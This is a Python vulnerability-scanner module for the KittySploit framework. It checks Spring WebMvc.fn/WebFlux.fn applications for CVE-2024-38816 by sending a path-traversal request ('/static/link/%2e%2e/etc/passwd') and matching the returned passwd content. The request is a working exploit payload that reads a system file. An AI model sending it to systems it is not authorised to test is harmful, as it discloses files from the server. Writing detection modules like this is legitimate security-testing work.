WebMvc.fn/WebFlux.fn - Path Traversal Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Applications serving static resources through the functional web frameworks WebMvc."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WebMvc.fn/WebFlux.fn - Path Traversal Detection',
        'description': 'Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2024', 'spring', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2024-38816',
            'https://github.com/masa42/CVE-2024-38816-PoC',
            'https://spring.io/security/cve-2024-38816',
            'https://github.com/nomi-sec/PoC-in-GitHub',
        ],
        'cve': 'CVE-2024-38816',
    }

    def run(self):
        path = '/static/link/%2e%2e/etc/passwd'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_regexes = ('root:.*:0:0:',)
        header_regexes = ('application/octet-stream',)
        if (any(re.search(rx, body) for rx in body_regexes)) and (any(re.search(rx, headers) for rx in header_regexes)):
            self.set_info(
                severity='high',
                reason='WebMvc.fn/WebFlux.fn - Path Traversal detected',
                path=path,
            )
            return True
        return False